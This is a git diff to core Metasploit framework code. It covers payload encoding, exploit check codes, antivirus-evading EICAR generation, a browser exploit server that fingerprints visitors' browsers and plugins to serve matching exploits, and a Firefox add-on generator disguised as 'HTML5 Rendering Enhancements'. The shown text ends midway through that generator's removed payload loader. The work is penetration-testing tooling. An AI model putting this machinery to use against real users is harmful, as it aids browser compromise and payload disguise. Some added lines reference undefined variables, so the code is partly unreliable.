diff --git a/lib/msf/core/db_manager/import_msf_xml.rb b/lib/msf/core/db_manager/import_msf_xml.rb
index 906ae489da..f3e37b2268 100644
--- a/lib/msf/core/db_manager/import_msf_xml.rb
+++ b/lib/msf/core/db_manager/import_msf_xml.rb
@@ -364,7 +364,7 @@ module Msf
                 cred_data[datum.gsub("-","_").intern] = nils_for_nulls(cred.elements[datum].text.to_s.strip)
               end
             }
-            if cred_data[:pass] == "<masked>"
+            if cred_data[:pass] == "*MASKED*"
               cred_data[:pass] = ""
               cred_data[:active] = false
             elsif cred_data[:pass] == "*BLANK PASSWORD*"
diff --git a/lib/msf/core/encoded_payload.rb b/lib/msf/core/encoded_payload.rb
index 47d94f0dea..7396ff0aa2 100644
--- a/lib/msf/core/encoded_payload.rb
+++ b/lib/msf/core/encoded_payload.rb
@@ -125,6 +125,17 @@ class EncodedPayload
         self.encoder = encmod.new
         self.encoded = nil
 
+        # If the encoding is requested by an exploit check compatibility
+        # options first of all. For the 'generic/none' encoder compatibility
+        # options don't apply.
+        if (reqs['Exploit'] &&
+            !reqs['Exploit'].compatible?(self.encoder) &&
+            encname !~ /generic\/none/)
+          wlog("#{pinst.refname}: Encoder #{encoder.refname} doesn't match the exploit Compat options",
+            'core', LEV_1)
+          next
+        end
+
         # If there is an encoder type restriction, check to see if this
         # encoder matches with what we're searching for.
         if ((reqs['EncoderType']) and
@@ -198,7 +209,7 @@ class EncodedPayload
 
           # Check to see if we have enough room for the minimum requirements
           if ((reqs['Space']) and (reqs['Space'] < eout.length + min))
-            wlog("#{err_start}: Encoded payload version is too large with encoder #{encoder.refname}",
+            wlog("#{err_start}: Encoded payload version is too large (#{eout.length} bytes) with encoder #{encoder.refname}",
               'core', LEV_1)
             next_encoder = true
             break
@@ -232,6 +243,7 @@ class EncodedPayload
 
     # Prefix the prepend encoder value
     self.encoded = (reqs['PrependEncoder'] || '') + self.encoded
+    self.encoded << (reqs['AppendEncoder'] || '')
   end
 
   #
diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb
index df8241193e..e5b070d546 100644
--- a/lib/msf/core/exploit.rb
+++ b/lib/msf/core/exploit.rb
@@ -65,40 +65,48 @@ class Exploit < Msf::Module
   ##
   #
   # The various check codes that can be returned from the ``check'' routine.
+  # Please read the following wiki to learn how these codes are used:
+  # https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-check()-method
   #
   ##
   module CheckCode
 
     #
-    # Can't tell if the target is exploitable or not.
+    # Can't tell if the target is exploitable or not. This is recommended if the module fails to
+    # retrieve enough information from the target machine, such as due to a timeout.
     #
     Unknown     = [ 'unknown', "Cannot reliably check exploitability."]
 
     #
-    # The target is safe and is therefore not exploitable.
+    # The target is safe and is therefore not exploitable. This is recommended after the check
+    # fails to trigger the vulnerability, or even detect the service.
     #
     Safe        = [ 'safe', "The target is not exploitable." ]
 
     #
-    # The target is running the service in question but may not be
-    # exploitable.
+    # The target is running the service in question, but the check fails to determine whether
+    # the target is vulnerable or not.
     #
     Detected    = [ 'detected', "The target service is running, but could not be validated." ]
 
     #
-    # The target appears to be vulnerable.
+    # The target appears to be vulnerable. This is recommended if the vulnerability is determined
+    # based on passive reconnaissance. For example: version, banner grabbing, or having the resource
+    # that's known to be vulnerable.
     #
     Appears     = [ 'appears', "The target appears to be vulnerable." ]
 
     #
-    # The target is vulnerable.
+    # The target is vulnerable. Only used if the check is able to actually take advantage of the
+    # bug, and obtain hard evidence. For example: executing a command on the target machine, and
+    # retrieve the output.
     #
     Vulnerable  = [ 'vulnerable', "The target is vulnerable." ]
 
     #
-    # The exploit does not support the check method.
+    # The module does not support the check method.
     #
-    Unsupported = [ 'unsupported', "This exploit does not support check." ]
+    Unsupported = [ 'unsupported', "This module does not support check." ]
   end
 
   #
@@ -516,6 +524,7 @@ class Exploit < Msf::Module
     reqs['PrependEncoder']  = payload_prepend_encoder(explicit_target)
     reqs['BadChars']        = payload_badchars(explicit_target)
     reqs['Append']          = payload_append(explicit_target)
+    reqs['AppendEncoder']   = payload_append_encoder(explicit_target)
     reqs['MaxNops']         = payload_max_nops(explicit_target)
     reqs['MinNops']         = payload_min_nops(explicit_target)
     reqs['Encoder']         = datastore['ENCODER']
@@ -523,6 +532,7 @@ class Exploit < Msf::Module
     reqs['EncoderType']     = payload_encoder_type(explicit_target)
     reqs['EncoderOptions']  = payload_encoder_options(explicit_target)
     reqs['ExtendedOptions'] = payload_extended_options(explicit_target)
+    reqs['Exploit']         = self
 
     # Pass along the encoder don't fall through flag
     reqs['EncoderDontFallThrough'] = datastore['EncoderDontFallThrough']
@@ -738,7 +748,7 @@ class Exploit < Msf::Module
     c_arch     = (target and target.arch)     ? target.arch     : (arch == []) ? nil : arch
 
     framework.encoders.each_module_ranked(
-      'Arch' => c_arch) { |name, mod|
+      'Arch' => c_arch, 'Platform' => c_platform) { |name, mod|
 
       encoders << [ name, mod ]
     }
@@ -823,6 +833,23 @@ class Exploit < Msf::Module
     p
   end
 
+  #
+  # Return any text that should be appended to the encoder of the payload.
+  # The payload module is passed so that the exploit can take a guess
+  # at architecture and platform if it's a multi exploit.
+  #
+  def payload_append_encoder(explicit_target = nil)
+    explicit_target ||= target
+
+    if (explicit_target and explicit_target.payload_append_encoder)
+      p = explicit_target.payload_append_encoder
+    else
+      p = payload_info['AppendEncoder'] || ''
+    end
+
+    p
+  end
+
   #
   # Maximum number of nops to use as a hint to the framework.
   # Nil signifies that the framework should decide.
diff --git a/lib/msf/core/exploit/exe.rb b/lib/msf/core/exploit/exe.rb
index dd9b593152..74b5c88485 100644
--- a/lib/msf/core/exploit/exe.rb
+++ b/lib/msf/core/exploit/exe.rb
@@ -16,12 +16,14 @@ module Exploit::EXE
     # EncodedPayload#encoded_exe in lib/msf/core/encoded_payload.rb
     register_advanced_options(
       [
+        OptBool.new(   'EXE::EICAR',    [ false, 'Generate an EICAR file instead of regular payload exe']),
         OptPath.new(   'EXE::Custom',   [ false, 'Use custom exe instead of automatically generating a payload exe']),
         OptPath.new(   'EXE::Path',     [ false, 'The directory in which to look for the executable template' ]),
         OptPath.new(   'EXE::Template', [ false, 'The executable template file name.' ]),
         OptBool.new(   'EXE::Inject',   [ false, 'Set to preserve the original EXE function' ]),
         OptBool.new(   'EXE::OldMethod',[ false, 'Set to use the substitution EXE generation method.' ]),
         OptBool.new(   'EXE::FallBack', [ false, 'Use the default template in case the specified one is missing' ]),
+        OptBool.new(   'MSI::EICAR',    [ false, 'Generate an EICAR file instead of regular payload msi']),
         OptPath.new(   'MSI::Custom',   [ false, 'Use custom msi instead of automatically generating a payload msi']),
         OptPath.new(   'MSI::Path',     [ false, 'The directory in which to look for the msi template' ]),
         OptPath.new(   'MSI::Template', [ false, 'The msi template file name' ]),
@@ -29,6 +31,13 @@ module Exploit::EXE
       ], self.class)
   end
 
+  # Avoid stating the string directly, don't want to get caught by local
+  # antivirus!
+  def get_eicar_exe
+    obfus_eicar = ["x5o!p%@ap[4\\pzx54(p^)7cc)7}$eicar", "standard", "antivirus", "test", "file!$h+h*"]
+    obfus_eicar.join("-").upcase
+  end
+
   def get_custom_exe(path=nil)
     path ||= datastore['EXE::Custom']
     print_status("Using custom payload #{path}, RHOST and RPORT settings will be ignored!")
@@ -41,6 +50,7 @@ module Exploit::EXE
 
   def generate_payload_exe(opts = {})
     return get_custom_exe if datastore.include? 'EXE::Custom'
+    return get_eicar_exe if datastore['EXE::EICAR']
 
     exe_init_options(opts)
 
@@ -68,6 +78,7 @@ module Exploit::EXE
 
   def generate_payload_exe_service(opts = {})
     return get_custom_exe if datastore.include? 'EXE::Custom'
+    return get_eicar_exe if datastore['EXE::EICAR']
 
     exe_init_options(opts)
 
@@ -90,6 +101,7 @@ module Exploit::EXE
 
   def generate_payload_dll(opts = {})
     return get_custom_exe if datastore.include? 'EXE::Custom'
+    return get_eicar_exe if datastore['EXE::EICAR']
 
     exe_init_options(opts)
 
@@ -112,6 +124,7 @@ module Exploit::EXE
 
   def generate_payload_msi(opts = {})
     return get_custom_exe(datastore['MSI::Custom']) if datastore.include? 'MSI::Custom'
+    return get_eicar_exe if datastore['MSI::EICAR']
 
     exe = generate_payload_exe(opts)
 
@@ -139,8 +152,10 @@ protected
 
     # Prefer the target's platform/architecture information, but use
     # the module's if no target specific information exists
+    opts[:platform] ||= payload_instance.platform if self.respond_to? :payload_instance
     opts[:platform] ||= target_platform  if self.respond_to? :target_platform
     opts[:platform] ||= platform         if self.respond_to? :platform
+    opts[:arch] ||= payload_instance.arch if self.respond_to? :payload_instance
     opts[:arch] ||= target_arch          if self.respond_to? :target_arch
     opts[:arch] ||= arch                 if self.respond_to? :arch
   end
diff --git a/lib/msf/core/exploit/ftp.rb b/lib/msf/core/exploit/ftp.rb
index 21fe5c5ebf..a1c8cc9589 100644
--- a/lib/msf/core/exploit/ftp.rb
+++ b/lib/msf/core/exploit/ftp.rb
@@ -43,7 +43,7 @@ module Exploit::Remote::Ftp
 
   #
   # This method establishes an FTP connection to host and port specified by
-  # the RHOST and RPORT options, respectively.  After connecting, the banner
+  # the 'rhost' and 'rport' methods. After connecting, the banner
   # message is read in and stored in the 'banner' attribute.
   #
   def connect(global = true, verbose = nil)
diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb
index d614d35fd3..b32e4fa0c7 100644
--- a/lib/msf/core/exploit/http/client.rb
+++ b/lib/msf/core/exploit/http/client.rb
@@ -164,7 +164,7 @@ module Exploit::Remote::HttpClient
 
     # Configure the HTTP client with the supplied parameter
     nclient.set_config(
-      'vhost' => self.vhost(),
+      'vhost' => opts['vhost'] || opts['rhost'] || self.vhost(),
       'agent' => datastore['UserAgent'],
       'uri_encode_mode'        => datastore['HTTP::uri_encode_mode'],
       'uri_full_url'           => datastore['HTTP::uri_full_url'],
@@ -187,14 +187,14 @@ module Exploit::Remote::HttpClient
       'uri_fake_end'           => datastore['HTTP::uri_fake_end'],
       'uri_fake_params_start'  => datastore['HTTP::uri_fake_params_start'],
       'header_folding'         => datastore['HTTP::header_folding'],
-      'usentlm2_session' => datastore['NTLM::UseNTLM2_session'],
-      'use_ntlmv2'       => datastore['NTLM::UseNTLMv2'],
-      'send_lm'         => datastore['NTLM::SendLM'],
-      'send_ntlm'       => datastore['NTLM::SendNTLM'],
-      'SendSPN'  => datastore['NTLM::SendSPN'],
-      'UseLMKey' => datastore['NTLM::UseLMKey'],
-      'domain' => datastore['DOMAIN'],
-      'DigestAuthIIS' => datastore['DigestAuthIIS']
+      'usentlm2_session'       => datastore['NTLM::UseNTLM2_session'],
+      'use_ntlmv2'             => datastore['NTLM::UseNTLMv2'],
+      'send_lm'                => datastore['NTLM::SendLM'],
+      'send_ntlm'              => datastore['NTLM::SendNTLM'],
+      'SendSPN'                => datastore['NTLM::SendSPN'],
+      'UseLMKey'               => datastore['NTLM::UseLMKey'],
+      'domain'                 => datastore['DOMAIN'],
+      'DigestAuthIIS'          => datastore['DigestAuthIIS']
     )
 
     # If this connection is global, persist it
@@ -268,8 +268,9 @@ module Exploit::Remote::HttpClient
     end
   end
 
-  #
-  # Connects to the server, creates a request, sends the request, reads the response
+
+  # Connects to the server, creates a request, sends the request,
+  # reads the response
   #
   # Passes +opts+ through directly to Rex::Proto::Http::Client#request_cgi.
   #
@@ -283,6 +284,37 @@ module Exploit::Remote::HttpClient
     end
   end
 
+  #
+  # Connects to the server, creates a request, sends the request, reads the response
+  # if a redirect (HTTP 30x response) is received it will attempt to follow the
+  # direct and retrieve that URI.
+  #
+  # @note The +opts+ will be updated to the updated location and +opts['redirect_uri']+
+  #   will contain the full URI.
+  #
+  def send_request_cgi!(opts={}, timeout = 20, redirect_depth = 1)
+    res = send_request_cgi(opts, timeout)
+    return res unless res && res.redirect? && redirect_depth > 0
+
+    redirect_depth -= 1
+    location = res.redirection
+    return res if location.nil?
+
+    opts['redirect_uri'] = location
+    opts['uri'] = location.path
+    opts['rhost'] = location.host
+    opts['vhost'] = location.host
+    opts['rport'] = location.port
+
+    if location.scheme == 'https'
+      opts['ssl'] = true
+    else
+      opts['ssl'] = false
+    end
+
+    send_request_cgi!(opts, timeout, redirect_depth)
+  end
+
   #
   # Combine the user/pass into an auth string for the HTTP Client
   #
diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb
index 25e2d07d71..66ee1957bc 100644
--- a/lib/msf/core/exploit/http/server.rb
+++ b/lib/msf/core/exploit/http/server.rb
@@ -181,7 +181,8 @@ module Exploit::Remote::HttpServer
         'MsfExploit' => self,
       },
       opts['Comm'],
-      datastore['SSLCert']
+      datastore['SSLCert'],
+      datastore['SSLCompression']
     )
 
     self.service.server_name = datastore['HTTP::server_name']
@@ -200,6 +201,13 @@ module Exploit::Remote::HttpServer
 
     proto = (datastore["SSL"] ? "https" : "http")
 
+    # SSLCompression may or may not actually be available. For example, on
+    # Ubuntu, it's disabled by default, unless the correct environment
+    # variable is set. See https://github.com/rapid7/metasploit-framework/pull/2666
+    if proto == "https" and datastore['SSLCompression']
+      print_status("Intentionally using insecure SSL compression. Your operating system might not respect this!")
+    end
+
     print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
 
     if (opts['ServerHost'] == '0.0.0.0')
@@ -711,6 +719,13 @@ protected
     Rex::Exploitation::HeapLib.new(custom_js, opts).to_s
   end
 
+  #
+  # Returns the heaplib2 javascript
+  #
+  def js_heaplib2(custom_js = '', opts = {})
+    @cache_heaplib2 ||= Rex::Exploitation::Js::Memory.heaplib2(custom_js, opts={})
+  end
+
   def js_base64
     @cache_base64 ||= Rex::Exploitation::Js::Utils.base64
   end
@@ -746,7 +761,6 @@ protected
     @cache_ajax_post ||= Rex::Exploitation::Js::Network.ajax_post
   end
 
-
   #
   # This function takes advantage of MSTIME's CTIMEAnimationBase::put_values function that's
   # suitable for a no-spray technique.  There should be an allocation that contains an array of
@@ -812,6 +826,14 @@ protected
     @cache_heap_spray ||= Rex::Exploitation::Js::Memory.heap_spray
   end
 
+  def js_explib2
+    @explib2 ||= ::Rex::Exploitation::Js::Memory.explib2
+  end
+
+  def js_explib2_payload(payload="exec")
+    @explib2_payload ||= ::Rex::Exploitation::Js::Memory.explib2_payload(payload)
+  end
+
   def js_os_detect
     @cache_os_detect ||= ::Rex::Exploitation::Js::Detect.os
   end
diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb
index d1bd31a508..d8310d238d 100644
--- a/lib/msf/core/exploit/mixins.rb
+++ b/lib/msf/core/exploit/mixins.rb
@@ -35,7 +35,10 @@ require 'msf/core/exploit/ip'
 require 'msf/core/exploit/ipv6'
 require 'msf/core/exploit/dhcp'
 require 'msf/core/exploit/ntlm'
+require 'msf/core/exploit/dcerpc'
 require 'msf/core/exploit/smb'
+require 'msf/core/exploit/smb/authenticated'
+require 'msf/core/exploit/smb/psexec'
 require 'msf/core/exploit/ftp'
 require 'msf/core/exploit/tftp'
 require 'msf/core/exploit/telnet'
@@ -43,7 +46,6 @@ require 'msf/core/exploit/ftpserver'
 require 'msf/core/exploit/http/client'
 require 'msf/core/exploit/http/server'
 require 'msf/core/exploit/smtp'
-require 'msf/core/exploit/dcerpc'
 require 'msf/core/exploit/sunrpc'
 require 'msf/core/exploit/mssql'
 require 'msf/core/exploit/mssql_commands'
@@ -98,7 +100,8 @@ require 'msf/core/exploit/winrm'
 # WebApp
 require 'msf/core/exploit/web'
 
-# Firefox addons
+# Firefox
+require 'msf/core/exploit/remote/firefox_privilege_escalation'
 require 'msf/core/exploit/remote/firefox_addon_generator'
 
 require 'msf/core/exploit/remote/browser_exploit_server'
diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb
index 87f4f82ebd..d1782616e1 100644
--- a/lib/msf/core/exploit/remote/browser_exploit_server.rb
+++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb
@@ -1,6 +1,8 @@
 # -*- coding: binary -*-
 
 require 'erb'
+require 'cgi'
+require 'date'
 require 'rex/exploitation/js'
 
 ###
@@ -16,6 +18,9 @@ module Msf
     include Msf::Exploit::Remote::HttpServer::HTML
     include Msf::Exploit::RopDb
 
+    # this must be static between runs, otherwise the older cookies will be ignored
+    DEFAULT_COOKIE_NAME = '__ua'
+
     PROXY_REQUEST_HEADER_SET = Set.new(
       %w{
          CLIENT_IP
@@ -37,19 +42,21 @@ module Msf
 
     # Requirements a browser module can define in either BrowserRequirements or in targets
     REQUIREMENT_KEY_SET = {
-      :source      => 'source',      # Either 'script' or 'headers'
-      :ua_name     => 'ua_name',     # Example: MSIE
-      :ua_ver      => 'ua_ver',      # Example: 8.0, 9.0
-      :os_name     => 'os_name',     # Example: Microsoft Windows
-      :os_flavor   => 'os_flavor',   # Example: XP, 7
-      :language    => 'language',    # Example: en-us
-      :arch        => 'arch',        # Example: x86
-      :proxy       => 'proxy',       # 'true' or 'false'
-      :silverlight => 'silverlight', # 'true' or 'false'
-      :office      => 'office',      # Example: "2007", "2010"
-      :java        => 'java',        # Example: 1.6, 1.6.0.0
-      :clsid       => 'clsid',       # ActiveX clsid. Also requires the :method key
-      :method      => 'method'       # ActiveX method. Also requires the :clsid key
+      :source       => 'source',       # Either 'script' or 'headers'
+      :ua_name      => 'ua_name',      # Example: MSIE
+      :ua_ver       => 'ua_ver',       # Example: 8.0, 9.0
+      :os_name      => 'os_name',      # Example: Microsoft Windows
+      :os_flavor    => 'os_flavor',    # Example: XP, 7
+      :language     => 'language',     # Example: en-us
+      :arch         => 'arch',         # Example: x86
+      :proxy        => 'proxy',        # 'true' or 'false'
+      :silverlight  => 'silverlight',  # 'true' or 'false'
+      :office       => 'office',       # Example: "2007", "2010"
+      :java         => 'java',         # Example: 1.6, 1.6.0.0
+      :clsid        => 'clsid',        # ActiveX clsid. Also requires the :method key
+      :method       => 'method',       # ActiveX method. Also requires the :clsid key
+      :mshtml_build => 'mshtml_build', # mshtml build. Example: "65535"
+      :flash        => 'flash'         # Example: "12.0" (chrome/ff) or "12.0.0.77" (IE)
     }
 
     def initialize(info={})
@@ -72,10 +79,15 @@ module Msf
       [
         OptBool.new('Retries', [false,  "Allow the browser to retry the module", true])
       ], Exploit::Remote::BrowserExploitServer)
+
+      register_advanced_options([
+        OptString.new('CookieName', [false,  "The name of the tracking cookie", DEFAULT_COOKIE_NAME]),
+        OptString.new('CookieExpiration', [false,  "Cookie expiration in years (blank=expire on exit)"])
+      ], Exploit::Remote::BrowserExploitServer)
     end
 
     #
-    # Syncs a block of code
+    # Allows a block of code to access BES resources in a thread-safe fashion
     #
     # @param block [Proc] Block of code to sync
     #
@@ -89,7 +101,7 @@ module Msf
     # @return [String] URI to the exploit page
     #
     def get_module_resource
-      "#{get_resource.chomp("/")}/#{@exploit_receiver_page}"
+      "#{get_resource.chomp("/")}/#{@exploit_receiver_page}/"
     end
 
     #
@@ -175,6 +187,8 @@ module Msf
         # Special keys to ignore because the script registers this as [:activex] = true or false
         next if k == :clsid or k == :method
 
+        vprint_debug("Comparing requirement: #{k}=#{v} vs k=#{profile[k.to_sym]}")
+
         if v.is_a? Regexp
           bad_reqs << k if profile[k.to_sym] !~ v
         elsif v.is_a? Proc
@@ -189,7 +203,7 @@ module Msf
 
     #
     # Returns the target profile based on the tag. Each profile has the following structure:
-    # 'cookie' =>
+    # 'cookie_name' =>
     # {
     #   :os_name   => 'Windows',
     #   :os_flavor => 'something'
@@ -209,9 +223,12 @@ module Msf
     # For more info about what the actual value might be for each key, see HttpServer.
     #
     # If the source is 'script', the profile might have even more information about plugins:
-    # 'office'  : The version of Microsoft Office (IE only)
-    # 'activex' : Whether a specific method is available from an ActiveX control (IE only)
-    # 'java'    : The Java version
+    # 'office'       : The version of Microsoft Office (IE only)
+    # 'activex'      : Whether a specific method is available from an ActiveX control (IE only)
+    # 'java'         : The Java version
+    # 'mshtml_build' : The MSHTML build version
+    # 'flash'        : The Flash version
+    # 'silverlight'  : The Silverlight version
     #
     # @param tag [String] Either a cookie or IP + User-Agent
     # @return [Hash] The profile found. If not found, returns nil
@@ -236,13 +253,13 @@ module Msf
     end
 
     #
-    # Initializes a profile
+    # Initializes a profile, if it did not previously exist
     #
     # @param tag [String] A unique string as a way to ID the profile
     #
     def init_profile(tag)
       sync do
-        @target_profiles[tag] = {}
+        @target_profiles[tag] ||= {}
       end
     end
 
@@ -254,14 +271,18 @@ module Msf
     #
     # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
     #
-    def retrieve_tag(request)
-      tag = request.headers['Cookie'].to_s
+    def retrieve_tag(cli, request)
+      cookie = CGI::Cookie.parse(request.headers['Cookie'].to_s)
+      tag = cookie.has_key?(cookie_name) && cookie[cookie_name].first
 
       if tag.blank?
         # Browser probably doesn't allow cookies, plan B :-/
+        vprint_status("No cookie received, resorting to headers hash.")
         ip = cli.peerhost
         os = request.headers['User-Agent']
         tag = Rex::Text.md5("#{ip}#{os}")
+      else
+        vprint_status("Received cookie '#{tag}'.")
       end
 
       tag
@@ -275,23 +296,18 @@ module Msf
     # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
     #
     def process_browser_info(source, cli, request)
-      tag = retrieve_tag(request)
-
-      # Browser doesn't allow cookies. Can't track that, use a different way to track.
-      init_profile(tag) if request.headers['Cookie'].blank?
+      tag = retrieve_tag(cli, request)
+      init_profile(tag)
       target_info = get_profile(tag)
+      update_profile(target_info, :source, source.to_s)
 
       # Gathering target info from the detection stage
       case source
       when :script
         # Gathers target data from a POST request
-        update_profile(target_info, :source, 'script')
-        raw = Rex::Text.uri_decode(Rex::Text.decode_base64(request.body))
-        raw.split('&').each do |item|
-          k, v = item.scan(/(\w+)=(.*)/).flatten
-          update_profile(target_info, k.to_sym, v)
-        end
-
+        parsed_body = CGI::parse(Rex::Text.decode_base64(request.body) || '')
+        vprint_debug("Received sniffed browser data over POST: \n#{parsed_body}.")
+        parsed_body.each { |k, v| update_profile(target_info, k.to_sym, v.first) }
       when :headers
         # Gathers target data from headers
         # This may be less accurate, and most likely less info.
@@ -299,7 +315,6 @@ module Msf
         # Module has all the info it needs, ua_string is kind of pointless.
         # Kill this to save space.
         fp.delete(:ua_string)
-        update_profile(target_info, :source, 'headers')
         fp.each do |k, v|
           update_profile(target_info, k.to_sym, v)
         end
@@ -354,6 +369,7 @@ module Msf
         return Base64.encode(q.join('&'));
       }
 
+
       window.onload = function() {
         var osInfo = window.os_detect.getVersion();
         var d = {
@@ -363,11 +379,13 @@ module Msf
           "<%=REQUIREMENT_KEY_SET[:ua_ver]%>"      : osInfo.ua_version,
           "<%=REQUIREMENT_KEY_SET[:arch]%>"        : osInfo.arch,
           "<%=REQUIREMENT_KEY_SET[:java]%>"        : window.misc_addons_detect.getJavaVersion(),
-          "<%=REQUIREMENT_KEY_SET[:silverlight]%>" : window.misc_addons_detect.hasSilverlight()
+          "<%=REQUIREMENT_KEY_SET[:silverlight]%>" : window.misc_addons_detect.hasSilverlight(),
+          "<%=REQUIREMENT_KEY_SET[:flash]%>"       : window.misc_addons_detect.getFlashVersion()
         };
 
         <% if os == OperatingSystems::WINDOWS and client == HttpClients::IE %>
           d['<%=REQUIREMENT_KEY_SET[:office]%>'] = window.ie_addons_detect.getMsOfficeVersion();
+          d['<%=REQUIREMENT_KEY_SET[:mshtml_build]%>'] = ScriptEngineBuildVersion().toString();
           <%
             clsid  = @requirements[:clsid]
             method = @requirements[:method]
@@ -378,8 +396,9 @@ module Msf
         <% end %>
 
         var query = objToQuery(d);
-        postInfo("<%=get_resource.chomp("/")%>/<%=@info_receiver_page%>/", query);
-        window.location = "<%=get_resource.chomp("/")%>/<%=@exploit_receiver_page%>/";
+        postInfo("<%=get_resource.chomp("/")%>/<%=@info_receiver_page%>/", query, function(){
+          window.location="<%= get_module_resource %>";
+        });
       }
       |).result(binding())
 
@@ -392,11 +411,26 @@ module Msf
       </script>
       <noscript>
       <img style="visibility:hidden" src="#{get_resource.chomp("/")}/#{@noscript_receiver_page}/">
-      <meta http-equiv="refresh" content="1; url=#{get_resource.chomp("/")}/#{@exploit_receiver_page}/">
+      <meta http-equiv="refresh" content="1; url=#{get_module_resource}">
       </noscript>
       |
     end
 
+    # @return [String] name of the tracking cookie
+    def cookie_name
+      datastore['CookieName'] || DEFAULT_COOKIE_NAME
+    end
+
+    def cookie_header(tag)
+      cookie = "#{cookie_name}=#{tag};"
+      if datastore['CookieExpiration'].present?
+        expires_date = (DateTime.now + 365*datastore['CookieExpiration'].to_i)
+        expires_str  = expires_date.to_time.strftime("%a, %d %b %Y 12:00:00 GMT")
+        cookie << " Expires=#{expires};"
+      end
+      cookie
+    end
+
     #
     # Handles exploit stages.
     #
@@ -409,31 +443,32 @@ module Msf
         #
         # This is the information gathering stage
         #
-        if get_profile(retrieve_tag(request))
-          send_redirect(cli, "#{get_resource.chomp("/")}/#{@exploit_receiver_page}")
+        if get_profile(retrieve_tag(cli, request))
+          send_redirect(cli, get_module_resource)
           return
         end
 
         print_status("Gathering target information.")
         tag = Rex::Text.rand_text_alpha(rand(20) + 5)
-        ua = request.headers['User-Agent']
+        ua = request.headers['User-Agent'] || ''
         init_profile(tag)
-        html = get_detection_html(ua)
-        send_response(cli, html, {'Set-Cookie' => tag})
+        print_status("Sending response HTML.")
+        send_response(cli, get_detection_html(ua), {'Set-Cookie' => cookie_header(tag)})
 
       when /#{@info_receiver_page}/
         #
         # The detection code will hit this if Javascript is enabled
         #
-        process_browser_info(source=:script, cli, request)
-        send_response(cli, '')
+        vprint_status "Info receiver page called."
+        process_browser_info(:script, cli, request)
+        send_response(cli, '', {'Set-Cookie' => cookie_header(tag)})
 
       when /#{@noscript_receiver_page}/
         #
         # The detection code will hit this instead of Javascript is disabled
         # Should only be triggered by the img src in <noscript>
         #
-        process_browser_info(source=:headers, cli, request)
+        process_browser_info(:headers, cli, request)
         send_not_found(cli)
 
       when /#{@exploit_receiver_page}/
@@ -441,19 +476,24 @@ module Msf
         # This sends the actual exploit. A module should define its own
         # on_request_exploit() to get the target information
         #
-        tag = retrieve_tag(request)
+        tag = retrieve_tag(cli, request)
+        vprint_status("Serving exploit to user with tag #{tag}")
         profile = get_profile(tag)
-        if profile[:tried] and datastore['Retries'] == false
+        if profile.nil?
+          print_status("Browsing directly to the exploit URL is forbidden.")
+          send_not_found(cli)
+        elsif profile[:tried] and datastore['Retries'] == false
           print_status("Target with tag \"#{tag}\" wants to retry the module, not allowed.")
           send_not_found(cli)
         else
           update_profile(profile, :tried, true)
+          vprint_status("Setting target \"#{tag}\" to :tried.")
           try_set_target(profile)
           bad_reqs = get_bad_requirements(profile)
           if bad_reqs.empty?
             method(:on_request_exploit).call(cli, request, profile)
           else
-            print_warning("Exploit requirement(s) not met: #{bad_reqs * ', '}")
+            print_warning("Exploit requirement(s) not met: #{bad_reqs * ', '}. For more info: http://r-7.co/PVbcgx")
             send_not_found(cli)
           end
         end
diff --git a/lib/msf/core/exploit/remote/firefox_addon_generator.rb b/lib/msf/core/exploit/remote/firefox_addon_generator.rb
index 85d3d879db..0a2b19bf6c 100644
--- a/lib/msf/core/exploit/remote/firefox_addon_generator.rb
+++ b/lib/msf/core/exploit/remote/firefox_addon_generator.rb
@@ -9,135 +9,72 @@
 
 module Msf
 module Exploit::Remote::FirefoxAddonGenerator
+  include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
 
   # Add in the supported datastore options
-  def initialize( info = {} )
+  def initialize(info={})
     super(update_info(info,
       'Platform'      => %w{ java linux osx solaris win },
       'Payload'       => { 'BadChars' => '', 'DisableNops' => true },
       'Targets'       =>
         [
-          [ 'Generic (Java Payload)',
-            {
-              'Platform' => ['java'],
-              'Arch' => ARCH_JAVA
+          [
+            'Universal (Javascript XPCOM Shell)', {
+              'Platform' => 'firefox',
+              'Arch' => ARCH_FIREFOX
             }
           ],
-          [ 'Windows x86 (Native Payload)',
-            {
-              'Platform' => 'win',
-              'Arch' => ARCH_X86,
-            }
-          ],
-          [ 'Linux x86 (Native Payload)',
-            {
-              'Platform' => 'linux',
-              'Arch' => ARCH_X86,
-            }
-          ],
-          [ 'Mac OS X PPC (Native Payload)',
-            {
-              'Platform' => 'osx',
-              'Arch' => ARCH_PPC,
-            }
-          ],
-          [ 'Mac OS X x86 (Native Payload)',
-            {
-              'Platform' => 'osx',
-              'Arch' => ARCH_X86,
+          [
+            'Native Payload', {
+              'Platform' => %w{ java linux osx solaris win },
+              'Arch'     => ARCH_ALL
             }
           ]
         ],
-      'DefaultTarget'  => 1
+      'DefaultTarget' => 0
     ))
 
-    register_options( [
-      OptString.new('ADDONNAME', [ true,
-        "The addon name.",
-        "HTML5 Rendering Enhancements"
-        ]),
+    register_options([
+      OptString.new('ADDONNAME', [ true, "The addon name.", "HTML5 Rendering Enhancements" ]),
       OptBool.new('AutoUninstall', [ true,
         "Automatically uninstall the addon after payload execution",
         true
-        ])
+      ])
     ], self.class)
   end
 
   # @return [Rex::Zip::Archive] containing a .xpi, ready to be served with the
   # 'application/x-xpinstall' MIME type
-  def generate_addon_xpi
-    if target.name == 'Generic (Java Payload)'
-      jar = p.encoded_jar
-      jar.build_manifest(:main_class => "metasploit.Payload")
-      payload_file = jar.pack
-      payload_name='payload.jar'
-      payload_script=%q|
-  var java = Components.classes["@mozilla.org/appshell/window-mediator;1"].getService(Components.interfaces.nsIWindowMediator).getMostRecentWindow('navigator:browser').Packages.java
-  java.lang.System.setSecurityManager(null);
-  var cl = new java.net.URLClassLoader([new java.io.File(tmp.path).toURI().toURL()]);
-  var m = cl.loadClass("metasploit.Payload").getMethod("main", [java.lang.Class.forName("[Ljava.lang.String;")]);
